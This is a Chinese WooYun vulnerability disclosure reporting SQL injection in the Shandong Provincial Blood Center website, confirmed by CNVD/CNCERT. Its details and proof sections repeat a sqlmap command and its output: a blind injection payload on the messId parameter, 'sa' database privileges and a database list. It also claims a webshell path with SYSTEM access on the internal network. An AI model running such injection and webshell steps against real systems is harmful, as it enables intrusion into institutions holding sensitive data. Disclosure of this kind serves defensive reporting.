当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171323

漏洞标题:山东省血液中心sql注入到内网漫游

相关厂商:cnsdbc.org

漏洞作者: 路人甲

提交时间:2016-01-20 13:40

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-22: 厂商已经确认,细节仅向厂商公开
2016-02-01: 细节向核心白帽子及相关领域专家公开
2016-02-11: 细节向普通白帽子公开
2016-02-21: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

山东省血液中心sql注入到内网漫游

详细说明:

D:\Program Files (x86)\python\sqlmap>sqlmap.py -u "http://**.**.**.**/newcont
ent.jsp?messId=1223&tableName=bd_xinwe241" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151028}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:41:20
[12:41:20] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:41:20] [INFO] testing connection to the target URL
[12:41:20] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: messId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: messId=1223 AND 4222=4222&tableName=bd_xinwe241
---
[12:41:20] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[12:41:20] [INFO] fetching current user
[12:41:20] [INFO] resumed: sa
current user: 'sa'
[12:41:20] [INFO] fetched data logged to text files under 'C:\Users\amos\.sqlmap
\output\**.**.**.**'
[*] shutting down at 12:41:20


sa权限,但这里无法os-shell

available databases [5]:
[*] master
[*] model
[*] msdb
[*] sdbc
[*] tempdb


5个库
进后台可直接getshell
http://**.**.**.**/downzl/14532571462506630.jsp
system权限,并且在内网

漏洞证明:

D:\Program Files (x86)\python\sqlmap>sqlmap.py -u "http://**.**.**.**/newcont
ent.jsp?messId=1223&tableName=bd_xinwe241" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151028}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:41:20
[12:41:20] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:41:20] [INFO] testing connection to the target URL
[12:41:20] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: messId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: messId=1223 AND 4222=4222&tableName=bd_xinwe241
---
[12:41:20] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[12:41:20] [INFO] fetching current user
[12:41:20] [INFO] resumed: sa
current user: 'sa'
[12:41:20] [INFO] fetched data logged to text files under 'C:\Users\amos\.sqlmap
\output\**.**.**.**'
[*] shutting down at 12:41:20


sa权限,但这里无法os-shell

available databases [5]:
[*] master
[*] model
[*] msdb
[*] sdbc
[*] tempdb


5个库
进后台可直接getshell
http://**.**.**.**/downzl/14532571462506630.jsp
system权限,并且在内网

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-22 10:36

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无